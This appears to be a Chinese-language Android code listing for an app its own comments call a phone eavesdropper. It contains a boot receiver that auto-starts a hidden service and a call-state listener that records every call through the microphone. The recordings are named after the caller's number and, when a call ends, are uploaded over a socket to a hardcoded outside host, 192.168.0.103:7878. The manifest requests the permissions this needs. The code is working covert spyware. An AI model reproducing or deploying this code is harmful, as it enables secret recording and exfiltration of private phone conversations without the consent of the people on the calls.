case TelephonyManager.CALL_STATE_IDLE://挂断电话
//处理代码
break;package com.xiazdong.phonelistener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; public class BootBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Intent service = new Intent(context,PhoneService.class); //开启电话窃听器服务 context.startService(service); } }
package com.xiazdong.phonelistener; import java.io.File; import java.io.FileInputStream; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; import android.app.Service; import android.content.Context; import android.content.Intent; import android.media.MediaRecorder; import android.os.Environment; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; public class PhoneService extends Service { private PhoneStateListener listener = new PhoneStateListener(){ private String incomingNumber; private MediaRecorder recorder; private File file ; @Override public void onCallStateChanged(int state, String incomingNumber) { //当状态改变时调用 super.onCallStateChanged(state, incomingNumber); switch(state){ case TelephonyManager.CALL_STATE_RINGING: //来电 this.incomingNumber = incomingNumber; break; case TelephonyManager.CALL_STATE_IDLE: //挂断电话 if(recorder!=null){ recorder.stop(); recorder.release(); recorder = null; try { SocketClientUtil.uploadFile(file, "192.168.0.103", 7878); } catch (Exception e) { e.printStackTrace(); } } break; case TelephonyManager.CALL_STATE_OFFHOOK: //接通电话状态 file = new File(Environment.getExternalStorageDirectory(),incomingNumber+System.currentTimeMillis()+".3gp"); recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC); //设置输入流设备为麦克风 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //设置输出格式 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); //设置编码方式 recorder.setOutputFile(file.getAbsolutePath()); //设置输出文件 try { recorder.prepare(); } catch (Exception e) { e.printStackTrace(); } recorder.start(); break; } } }; @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } @Override public void onCreate() { super.onCreate(); TelephonyManager manager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE); manager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); //对呼叫状态进行监听 } }
package com.xiazdong.phonelistener; import java.io.File; import java.io.FileInputStream; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; import java.util.UUID; public class SocketClientUtil { public static void uploadFile(final File file,final String ip,final int port)throws Exception{ new Thread(new Runnable(){ @Override public void run() { try { Socket socket = new Socket(ip,port); OutputStream out = socket.getOutputStream(); InputStream in = new FileInputStream(file); byte[] data = StreamTool.read2Byte(in); String head = "Content-Length="+ data.length+";filename="+file.getName()+";sourceid=1278916111468\r\n"; out.write(head.getBytes("UTF-8")); out.write(data); System.out.println("上传成功"); } catch (Exception e) { e.printStackTrace(); } } }).start(); } }
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/> <!-- 外界拨打权限 --> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <!-- 接收开机广播 --> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <!-- sdcard --> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/> <!-- sdcard --> <uses-permission android:name="android.permission.RECORD_AUDIO"/> <!-- 记录音频 --> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <!-- 读取电话状态 --> <uses-permission android:name="android.permission.INTERNET"/> <!-- 网络权限 --> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <receiver android:name=".BootBroadcastReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> <service android:name=".PhoneService">